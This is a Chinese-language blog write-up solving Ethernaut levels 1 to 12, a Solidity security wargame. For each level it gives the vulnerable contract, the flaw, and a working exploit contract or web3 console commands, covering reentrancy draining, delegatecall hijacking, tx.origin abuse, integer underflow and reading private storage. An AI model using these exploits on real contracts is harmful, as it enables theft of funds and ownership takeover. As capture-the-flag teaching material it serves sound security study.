Writeup | Ethernaut Part Ⅰ

平台地址

1. Fallback

闯关要求

  • 成为合约的owner
  • 将余额减少为0

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;

constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

合约分析

攻击流程

  1. 首先点击”Get new instance”来获取一个实例

  2. 查看合约地址的资产总量

    1
    await getBlance(instance)
  3. 向合约转1wei,使贡献值大于0

    1
    await contract.contribute({value:1})
  4. 再次获取balance,检查是否成功改变

    1
    await getBlance(instance)
  5. 通过调用sendTransaction函数来触发fallback函数

    1
    await contract.sendTransaction({value:1})
  6. 等交易完成后再次查看合约的owner,发现成功变为我们自己的地址

    1
    await contract.owner()
  7. 调用withdraw来转走合约的所有代币

    1
    await contract.withdraw()
  8. 点击”submit instance”即可完成闯关

    image-20220128141052114

2. Fallout

闯关要求

获得合约所有权

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;


// constructor
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

合约分析

构造函数名称与合约名称不一致,同时在构造函数中指定了函数调用者直接为合约的owner

攻击流程

  1. 点击“Get new instance”来获取示例

  2. 调用构造函数来更换owner

    1
    await contract.Fal1out()
  3. 点击“submit instance”来提交答案

    image-20220128155228067

3. Coin Flip

闯关要求

这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

合约分析

随机数问题

这题就是用了block.blockhash(block.number-1),这个表示上一块的hash,然后去除以2^255

攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function CoinFlip() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

contract exploit {
address public con_addr = 0x50F027e7e09791A2DbC86E38AbdC1f8FE41d7A9B; //此处是实例地址
CoinFlip expFlip = CoinFlip(con_addr);
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function guess() public {
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}

在remix中部署合约,并点击guess十次

image-20220209220508976

期间可使用 await contract.consecutiveWins() 来查询成功次数

image-20220209221813609

4. Telephone

闯关要求

获取合约的owner权限

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

address public owner;

constructor() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

合约分析

这里涉及到了tx.origin和msg.sender的区别,前者表示交易的发送者,后者则表示消息的发送者,如果情景是在一个合约下的调用,那么这两者是木有区别的,但是如果是在多个合约的情况下,比如用户通过A合约来调用B合约,那么对于B合约来说,msg.sender就代表合约A,而tx.origin就代表用户

攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity ^0.6.0;

contract Telephone {

address public owner;

constructor() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

contract exploit {
Telephone target = Telephone(0x2b5e81876E14b3E0E1337F6BA7bc4A2d8844c904);//实例地址

function attack() public {
target.changeOwner(0x9DC97146b924263A2c8C7237FbeEAFb6ef60b624);//自己的地址
}
}

可使用await contract.owner()来查询合约的owner

image-20220216172446013

5. Token

闯关要求

这一关的目标是攻破下面这个基础 token 合约

你最开始有20个 token, 如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

合约分析

整数溢出

这里的balances和value都是无符号整数,所以无论如何他们相减之后值依旧大于等于0

攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

contract exploit {
address public con_addr = 0xf36B064eB8f9120392C6b352210566D6D8340700;
address public trans_to = 0x9DC97146b924263A2c8C7237FbeEAFb6ef60b624;
Token token = Token(con_addr);
uint overvalue = 21;

function attack() public {
token.transfer(trans_to,overvalue);
}
}

image-20220221164154258

6. Delegation

闯关要求

这一关的目标是申明你对你创建实例的所有权.

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

address public owner;

constructor(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

合约分析

  • Solidity 支持两种底层调用方式 calldelegatecall

    call 外部调用时,上下文是外部合约

    delegatecall 外部调用时,上下文是调用合约

    calldelegatecall 的功能类似,区别仅在于后者仅使用给定地址的代码,其它信息则使用当前合约(如存储,余额等等)。

    函数的设计目的是为了使用存储在另一个合约的库代码。

    二者执行代码的上下文环境的不同,当使用call调用其它合约的函数时,代码是在被调用的合约的环境里执行,对应的,使用delegatecall进行函数调用时代码则是在调用函数的合约的环境里执行。

    所以 delegate.delegatecall(msg.data) 其实调用的是 delegate 自身的 msg.data

  • data4byte 是被调用方法的签名哈希,即 bytes4(keccak256("func")) , remix 里调用函数,实际是向合约账户地址发送了( msg.data[0:4] == 函数签名哈希 )的一笔交易

    所以我们只需调用 Delegationfallback 的同时在 msg.data 放入 pwn 函数的签名即可

  • fallback 的触发条件:

    • 一是如果合约在被调用的时候,找不到对方调用的函数,就会自动调用 fallback 函数
    • 二是只要是合约收到别人发送的 Ether 且没有数据,就会尝试执行 fallback 函数,此时 fallback 需要带有 payable 标记,否则,合约就会拒绝这个 Ether

所以,通过转账触发 Delegation 合约的 fallback 函数,同时设置 datapwn 函数的标识符。

攻击流程

1
2
//sha3的返回值前两个为0x,所以要切0-10个字符。
contract.sendTransaction({data: web3.utils.sha3("pwn()").slice(0,10)});

可能会out of gas,提高gas上限即可

image-20220227152252411

7. Force

闯关要求

使合约的余额大于0

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

合约分析

在以太坊里我们是可以强制给一个合约发送eth的,不管它要不要它都得收下,这是通过selfdestruct函数来实现的,如它的名字所显示的,这是一个自毁函数,当你调用它的时候,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数所指定的地址,比较特殊的是这笔资金的发送将无视合约的fallback函数,因为我们之前也提到了当合约直接收到一笔不知如何处理的eth时会触发fallback函数,然而selfdestruct的发送将无视这一点。

攻击流程

1
2
3
4
5
6
7
8
pragma solidity 0.4.20;

contract Force {
function Force() public payable {}
function attack(address _target) public {
selfdestruct(_target);
}
}

可以用getBalance(instance)来查询实例余额

记得部署合约的时候存一点钱进去

image-20220221221632944

8. Vault

闯关要求

打开 vault 来通过这一关!

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

合约分析

使用web3.eth.getStorageAt()方法返回一个以太坊地址的指定位置存储内容,借此获得密码内容

image-20220223155339055

攻击流程

  1. web3.eth.getStorageAt(contract.address, 1)

    image-20220223161137206

  2. contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')

    均报错

    918b31ad3155cfc4d5e4bdd4e9841d5

    成功

    image-20220223161340419

    image-20220223161409985

9. King

闯关要求

下面的合约表示了一个很简单的游戏: 任何一个发送了高于目前价格的人将成为新的国王. 在这个情况下, 上一个国王将会获得新的出价, 这样可以赚得一些以太币. 看起来像是庞氏骗局.

这么有趣的游戏, 你的目标是攻破他.

当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关.

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

address payable king;
uint public prize;
address payable public owner;

constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address payable) {
return king;
}
}

合约分析

只要国王拒绝接收奖励即可一直当国王。那么我们可以部署攻击合约,使用 revert() 占据合约的king不放

攻击流程

  1. 查询目前最高价

    web3.utils.fromWei 能将给定的以wei为单位的值转换为其他单位的数值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    web3.utils.fromWei('1', 'ether'); //默认
    > "0.000000000000000001"

    web3.utils.fromWei('1', 'finney');
    > "0.000000000000001"

    web3.utils.fromWei('1', 'szabo');
    > "0.000000000001"

    web3.utils.fromWei('1', 'shannon');
    > "0.000000001"

    直接使用 fromWei(contract.prize) 会报错

    image-20220223220836386

    可使用 toBN() 转换一下

    image-20220223220944150

    即出价比0.001ether高即可

  2. 查询现在的king

    image-20220223221109151

  3. 部署合约

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    pragma solidity 0.4.18;

    contract attack {
    function attack(address _add) public payable {
    _add.call.gas(1000000).value(msg.value)();
    }

    function () public {
    revert();
    }
    }
  4. 提交实例

    可以看到再次查询king的地址变为了攻击合约的地址

    image-20220223221202590

10. Re-entrancy

闯关要求

这一关的目标是偷走合约的所有资产.

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

合约分析

重入

攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
pragma solidity ^0.6.10;

import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

contract exploit {
//设定目标合约地址
Reentrance reentrance;
constructor(address payable instance_add) public payable {
reentrance = Reentrance(instance_add);
}

//重写fallback
fallback() external payable {
if(address(reentrance).balance >= 0 ether){
reentrance.withdraw(0.001 ether);
}
}

//攻击,调用withdraw
function attack() external {
reentrance.donate{value: 0.002 ether}(address(this));
reentrance.withdraw(0.001 ether);
}

//查询余额
function instance_balance() public view returns (uint) {
return address(reentrance).balance;
}


}

部署合约时打入一些钱

image-20220224201600577

使用函数查询实例合约中原有余额

image-20220224171227027

攻击完成后再次查询余额

image-20220224201734086

也可以在控制台中查询

image-20220224201803486

11. Elevator

闯关要求

电梯不会让你达到大楼顶部, 对吧?

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

合约分析

重新编写isLastFloor函数,并设置flag初始为true。在实例的goTo函数中,会调用两次isLastFloor函数,即第一次让flag变为false,第二次让flag变为true

攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.6.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

contract exploit {
address instance_add = 0x98aD02A12F92eADb16dcF5285568CA7826B4b947;
Elevator elevator = Elevator(instance_add);
bool flag = true;

function isLastFloor(uint) external returns (bool) {
flag = !flag;
return flag;
}

function attack() public {
elevator.goTo(5);
}
}

查看top状态并提交实例

image-20220224190112002

12. Privacy

闯关要求

这个合约的制作者非常小心的保护了敏感区域的 storage.

解开这个合约来完成这一关.

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;

constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

合约分析

升级版vault,用 getStorageAt() 把链上的数据读出来

攻击流程

根据优化存储原则:如果下一个变量长度和上一个变量长度加起来不超过256bits(32字节),它们就会存储在同一个插槽里

通过查询得到

image-20220224214603113

可以分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
web3.eth.getStorageAt(contract.address,0)
//0x0000000000000000000000000000000000000000000000000000000000000001
//locked = true 1字节 01

web3.eth.getStorageAt(contract.address,1)
//0x0000000000000000000000000000000000000000000000000000000062178997
//ID = block.timestamp 常量

web3.eth.getStorageAt(contract.address,2)
//0x000000000000000000000000000000000000000000000000000000008997ff0a
// flattening = 10 1字节 0a
//denomination = 255 1字节 ff
//awkwardness = uint16(now) 2字节

web3.eth.getStorageAt(contract.address,3)
//0xf29eea5d3875c68825a80d9c459dec52f5bbd55dd5ce827e00ec92ae60f7ddb2
//data[0]

web3.eth.getStorageAt(contract.address,4)
//0x153a7c6b4bf25f3a526a687713411c5ca83ae18c6f8950ff0f09be93bd36cb95
//data[1]

web3.eth.getStorageAt(contract.address,5)
//0x0b444a369c67e1d2436e5410d7c891644b6f088cb5f3451cc11f5ae67c451e18
//data[2]

所以解锁需要的data[2]应该是0x0b444a369c67e1d2436e5410d7c89164

1
contract.unlock('0x0b444a369c67e1d2436e5410d7c89164')

检查解锁成功

image-20220224220625238

提交实例

image-20220224220653313


Writeup | Ethernaut Part Ⅰ
http://sissice.github.io/2022/02/27/Ethernaut闯关(上)/
作者
Sissice
发布于
2022年2月27日
许可协议